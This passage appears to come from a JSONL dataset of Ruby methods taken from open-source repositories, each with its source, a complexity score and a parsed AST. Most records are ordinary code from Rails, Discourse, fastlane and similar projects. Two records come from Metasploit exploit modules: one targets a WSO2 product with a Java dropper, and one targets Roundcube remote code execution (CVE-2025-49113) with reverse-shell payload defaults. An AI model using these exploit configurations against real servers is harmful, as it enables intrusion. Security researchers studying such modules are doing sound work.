Dropper\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"java\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_JAVA\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Type\"]},{\"type\":\"sym\",\"children\":[\"java_dropper\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"WfsDelay\"]},{\"type\":\"int\",\"children\":[10]}]}]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2022-04-01\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CRASH_SAFE\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IOC_IN_LOGS\"]},{\"type\":\"const\",\"children\":[null,\"ARTIFACTS_ON_DISK\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"REPEATABLE_SESSION\"]}]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptInt\"]},\"new\",{\"type\":\"str\",\"children\":[\"WAR_DEPLOY_DELAY\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"How long to wait for the war file to deploy, in seconds\"]},{\"type\":\"int\",\"children\":[20]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"TARGETURI\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Relative URI of WSO2 product installation\"]},{\"type\":\"str\",\"children\":[\"/\"]}]}]}]}]}]}]}","id":"cbf64c0a-43d3-4ab4-8e5e-6965966409ce"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/pilot/lib/pilot/build_manager.rb","start_line":253,"raw_source":"def update_beta_app_meta(options, build)\n      # If demo_account_required is a parameter, it should added into beta_app_review_info\n      unless options[:demo_account_required].nil?\n        options[:beta_app_review_info] = {} if options[:beta_app_review_info].nil?\n        options[:beta_app_review_info][:demo_account_required] = options[:demo_account_required]\n      end\n\n      if should_update_beta_app_review_info(options)\n        update_review_detail(build, options[:beta_app_review_info])\n      end\n\n      if should_update_localized_app_information?(options)\n        update_localized_app_review(build, options[:localized_app_info])\n      elsif should_update_app_test_information?(options)\n        default_info = {}\n        default_info[:feedback_email] = options[:beta_app_feedback_email] if options[:beta_app_feedback_email]\n        default_info[:description] = options[:beta_app_description] if options[:beta_app_description]\n        begin\n          update_localized_app_review(build, {}, default_info: default_info)\n          UI.success(\"Successfully set the beta_app_feedback_email and/or beta_app_description\")\n        rescue => ex\n          UI.user_error!(\"Could not set beta_app_feedback_email and/or beta_app_description: #{ex}\")\n        end\n      end\n\n      if should_update_localized_build_information?(options)\n        update_localized_build_review(build, options[:localized_build_info])\n      elsif should_update_build_information?(options)\n        begin\n          update_localized_build_review(build, {}, default_info: { whats_new: options[:changelog] })\n          UI.success(\"Successfully set the changelog for build\")\n        rescue => ex\n          UI.user_error!(\"Could not set changelog: #{ex}\")\n        end\n      end\n\n      if options[:notify_external_testers].nil?\n        UI.important(\"Using App Store Connect's default for notifying external testers (which is true) - set `notify_external_testers` for full control\")\n      else\n        update_build_beta_details(build, {\n          auto_notify_enabled: options[:notify_external_testers]\n        })\n      end\n    end","complexity_score":63.6,"ast_json":"{\"type\":\"def\",\"children\":[\"update_beta_app_meta\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"options\"]},{\"type\":\"arg\",\"children\":[\"build\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"demo_account_required\"]}]},\"nil?\"]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"beta_app_review_info\"]}]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"beta_app_review_info\"]},{\"type\":\"hash\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"beta_app_review_info\"]}]},\"[]=\",{\"type\":\"sym\",\"children\":[\"demo_account_required\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"demo_account_required\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"should_update_beta_app_review_info\",{\"type\":\"lvar\",\"children\":[\"options\"]}]},{\"type\":\"send\",\"children\":[null,\"update_review_detail\",{\"type\":\"lvar\",\"children\":[\"build\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"beta_app_review_info\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"should_update_localized_app_information?\",{\"type\":\"lvar\",\"children\":[\"options\"]}]},{\"type\":\"send\",\"children\":[null,\"update_localized_app_review\",{\"type\":\"lvar\",\"children\":[\"build\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"localized_app_info\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"should_update_app_test_information?\",{\"type\":\"lvar\",\"children\":[\"options\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"default_info\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"beta_app_feedback_email\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"default_info\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"feedback_email\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"beta_app_feedback_email\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"beta_app_description\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"default_info\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"beta_app_description\"]}]}]},null]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_localized_app_review\",{\"type\":\"lvar\",\"children\":[\"build\"]},{\"type\":\"hash\",\"children\":[]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default_info\"]},{\"type\":\"lvar\",\"children\":[\"default_info\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"success\",{\"type\":\"str\",\"children\":[\"Successfully set the beta_app_feedback_email and/or beta_app_description\"]}]}]},{\"type\":\"resbody\",\"children\":[null,{\"type\":\"lvasgn\",\"children\":[\"ex\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"user_error!\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Could not set beta_app_feedback_email and/or beta_app_description: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ex\"]}]}]}]}]},null]}]}]},null]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"should_update_localized_build_information?\",{\"type\":\"lvar\",\"children\":[\"options\"]}]},{\"type\":\"send\",\"children\":[null,\"update_localized_build_review\",{\"type\":\"lvar\",\"children\":[\"build\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"localized_build_info\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"should_update_build_information?\",{\"type\":\"lvar\",\"children\":[\"options\"]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_localized_build_review\",{\"type\":\"lvar\",\"children\":[\"build\"]},{\"type\":\"hash\",\"children\":[]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default_info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"whats_new\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"changelog\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"success\",{\"type\":\"str\",\"children\":[\"Successfully set the changelog for build\"]}]}]},{\"type\":\"resbody\",\"children\":[null,{\"type\":\"lvasgn\",\"children\":[\"ex\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"user_error!\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Could not set changelog: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ex\"]}]}]}]}]},null]}]},null]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"notify_external_testers\"]}]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"important\",{\"type\":\"str\",\"children\":[\"Using App Store Connect's default for notifying external testers (which is true) - set `notify_external_testers` for full control\"]}]},{\"type\":\"send\",\"children\":[null,\"update_build_beta_details\",{\"type\":\"lvar\",\"children\":[\"build\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"auto_notify_enabled\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"notify_external_testers\"]}]}]}]}]}]}]}]}","id":"56610281-bb31-4af7-b625-584afb78ee0f"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/lib/extensions/ar_migration.rb","start_line":90,"raw_source":"def restart_subscription\n      c = SubscriptionHelper.establish_connection.connection.raw_connection\n      rep_client = PG::LogicalReplication::Client.new(c)\n\n      rep_client.disable_subscription(subscription.id)\n      rep_client.enable_subscription(subscription.id)\n    ensure\n      SubscriptionHelper.remove_connection\n    end","complexity_score":16.0,"ast_json":"{\"type\":\"def\",\"children\":[\"restart_subscription\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ensure\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"c\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SubscriptionHelper\"]},\"establish_connection\"]},\"connection\"]},\"raw_connection\"]}]},{\"type\":\"lvasgn\",\"children\":[\"rep_client\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PG\"]},\"LogicalReplication\"]},\"Client\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"c\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rep_client\"]},\"disable_subscription\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"subscription\"]},\"id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rep_client\"]},\"enable_subscription\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"subscription\"]},\"id\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SubscriptionHelper\"]},\"remove_connection\"]}]}]}","id":"97661776-120c-4e78-8b0d-1fbaeae3498b"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/controllers/instance_actors_controller.rb","start_line":26,"raw_source":"def set_account\n    @account = Account.representative\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"set_account\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@account\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Account\"]},\"representative\"]}]}]}","id":"ff6dbc07-67b6-45f3-9181-0630afc7a5b9"}
{"repo_name":"forem","file_path":"./repos/forem/app/liquid_tags/codesandbox_tag.rb","start_line":29,"raw_source":"def parse_id_or_url_and_options(input)\n    match = pattern_match_for(input, [REGISTRY_REGEXP])\n    return [match[:id], parse_options(match[:options]&.split(\"&\"))] if match\n\n    id = input.split.first\n    raise StandardError, I18n.t(\"liquid_tags.codesandbox_tag.invalid_id\") unless valid_id?(id)\n\n    [id, parse_options(extract_options(input))]\n  end","complexity_score":17.9,"ast_json":"{\"type\":\"def\",\"children\":[\"parse_id_or_url_and_options\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"input\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"match\",{\"type\":\"send\",\"children\":[null,\"pattern_match_for\",{\"type\":\"lvar\",\"children\":[\"input\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"REGISTRY_REGEXP\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"match\"]},{\"type\":\"return\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"match\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]},{\"type\":\"send\",\"children\":[null,\"parse_options\",{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"match\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"options\"]}]},\"split\",{\"type\":\"str\",\"children\":[\"&\"]}]}]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"id\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"input\"]},\"split\"]},\"first\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"valid_id?\",{\"type\":\"lvar\",\"children\":[\"id\"]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"StandardError\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"liquid_tags.codesandbox_tag.invalid_id\"]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[null,\"parse_options\",{\"type\":\"send\",\"children\":[null,\"extract_options\",{\"type\":\"lvar\",\"children\":[\"input\"]}]}]}]}]}]}","id":"cd001959-815c-4442-9f0c-b3497ddae43f"}
{"repo_name":"reek","file_path":"./repos/reek/lib/reek/configuration/configuration_file_finder.rb","start_line":77,"raw_source":"def find_by_dir(start)\n          start.ascend do |dir|\n            file = find_in_dir(dir)\n            return file if file\n          end\n        end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"find_by_dir\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"start\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"start\"]},\"ascend\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"dir\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"file\",{\"type\":\"send\",\"children\":[null,\"find_in_dir\",{\"type\":\"lvar\",\"children\":[\"dir\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file\"]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file\"]}]},null]}]}]}]}","id":"4bc907f2-fa7c-41cd-955d-eb9e140ade43"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/serializers/concerns/user_auth_tokens_mixin.rb","start_line":17,"raw_source":"def browser\n    val = BrowserDetection.browser(object.user_agent)\n    I18n.t(\"user_auth_tokens.browser.#{val}\")\n  end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"browser\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"val\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"BrowserDetection\"]},\"browser\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"user_agent\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"user_auth_tokens.browser.\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"val\"]}]}]}]}]}]}","id":"d72e6386-ac75-4feb-9e8f-b9f063a1cc68"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/relation.rb","start_line":312,"raw_source":"def find_or_initialize_by(attributes, &block)\n      find_by(attributes) || new(attributes, &block)\n    end","complexity_score":4.5,"ast_json":"{\"type\":\"def\",\"children\":[\"find_or_initialize_by\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"attributes\"]},{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"find_by\",{\"type\":\"lvar\",\"children\":[\"attributes\"]}]},{\"type\":\"send\",\"children\":[null,\"new\",{\"type\":\"lvar\",\"children\":[\"attributes\"]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]}]}]}]}]}","id":"1a13c889-010a-4bb4-b2ad-cef87e219a77"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/lib/active_support/json/encoding.rb","start_line":47,"raw_source":"def encode(value, options = nil)\n        if options.nil? || options.empty?\n          Encoding.encode_without_options(value)\n        elsif options == { escape: false }.freeze\n          Encoding.encode_without_escape(value)\n        else\n          Encoding.json_encoder.new(options).encode(value)\n        end\n      end","complexity_score":15.2,"ast_json":"{\"type\":\"def\",\"children\":[\"encode\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]},{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"empty?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Encoding\"]},\"encode_without_options\",{\"type\":\"lvar\",\"children\":[\"value\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"escape\"]},{\"type\":\"false\",\"children\":[]}]}]},\"freeze\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Encoding\"]},\"encode_without_escape\",{\"type\":\"lvar\",\"children\":[\"value\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Encoding\"]},\"json_encoder\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"options\"]}]},\"encode\",{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}]}]}","id":"7304a42c-491a-4b1c-8dd5-7b30dc8e92af"}
{"repo_name":"discourse","file_path":"./repos/discourse/db/migrate/20150421085850_increase_url_length_on_topic_embed.rb","start_line":4,"raw_source":"def up\n    remove_index :topic_embeds, :embed_url\n    change_column :topic_embeds, :embed_url, :string, limit: 1000, null: false\n    add_index :topic_embeds, :embed_url, unique: true\n  end","complexity_score":3.3,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"remove_index\",{\"type\":\"sym\",\"children\":[\"topic_embeds\"]},{\"type\":\"sym\",\"children\":[\"embed_url\"]}]},{\"type\":\"send\",\"children\":[null,\"change_column\",{\"type\":\"sym\",\"children\":[\"topic_embeds\"]},{\"type\":\"sym\",\"children\":[\"embed_url\"]},{\"type\":\"sym\",\"children\":[\"string\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"limit\"]},{\"type\":\"int\",\"children\":[1000]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"add_index\",{\"type\":\"sym\",\"children\":[\"topic_embeds\"]},{\"type\":\"sym\",\"children\":[\"embed_url\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"unique\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}","id":"7eaff2c6-fbb2-47c3-815d-6efda8be48f1"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/roundcube_auth_rce_cve_2025_49113.rb","start_line":14,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Roundcube Post-Auth RCE via PHP Object Deserialization',\n        'Description' => %q{\n          Roundcube Webmail before 1.5.10 and 1.6.x before 1.6.11 allows remote code execution\n          by authenticated users because the _from parameter in a URL is not validated\n          in program/actions/settings/upload.php, leading to PHP Object Deserialization.\n\n          An attacker can execute arbitrary system commands as the web server.\n        },\n        'Author' => [\n          'Maksim Rogov', # msf module\n          'Kirill Firsov', # disclosure and original exploit\n        ],\n        'License' => MSF_LICENSE,\n        'References' => [\n          ['CVE', '2025-49113'],\n          ['URL', 'https://fearsoff.org/research/roundcube']\n        ],\n        'DisclosureDate' => '2025-06-02',\n        'Notes' => {\n          'Stability' => [CRASH_SAFE],\n          'SideEffects' => [IOC_IN_LOGS],\n          'Reliability' => [REPEATABLE_SESSION]\n        },\n        'Platform' => ['unix', 'linux'],\n        'Targets' => [\n          [\n            'Linux Dropper',\n            {\n              'Platform' => 'linux',\n              'Arch' => [ARCH_X64, ARCH_X86, ARCH_ARMLE, ARCH_AARCH64],\n              'Type' => :linux_dropper,\n              'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' }\n            }\n          ],\n          [\n            'Linux Command',\n            {\n              'Platform' => ['unix', 'linux'],\n              'Arch' => [ARCH_CMD],\n              'Type' => :nix_cmd,\n              'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' }\n            }\n          ]\n        ],\n        'DefaultTarget' => 0\n      )\n      )\n\n    register_options(\n      [\n        OptString.new('USERNAME', [true, 'Email User to login with', '' ]),\n        OptString.new('PASSWORD', [true, 'Password to login with', '' ]),\n        OptString.new('TARGETURI', [true, 'The URI of the Roundcube Application', '/' ]),\n        OptString.new('HOST', [false, 'The hostname of Roundcube server', ''])\n      ]\n    )\n  end","complexity_score":8.8,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Roundcube Post-Auth RCE via PHP Object Deserialization\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          Roundcube Webmail before 1.5.10 and 1.6.x before 1.6.11 allows remote code execution\\n\"]},{\"type\":\"str\",\"children\":[\"          by authenticated users because the _from parameter in a URL is not validated\\n\"]},{\"type\":\"str\",\"children\":[\"          in program/actions/settings/upload.php, leading to PHP Object Deserialization.\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          An attacker can execute arbitrary system commands as the web server.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Maksim Rogov\"]},{\"type\":\"str\",\"children\":[\"Kirill Firsov\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2025-49113\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://fearsoff.org/research/roundcube\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2025-06-02\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CRASH_SAFE\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IOC_IN_LOGS\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"REPEATABLE_SESSION\"]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"unix\"]},{\"type\":\"str\",\"children\":[\"linux\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Linux 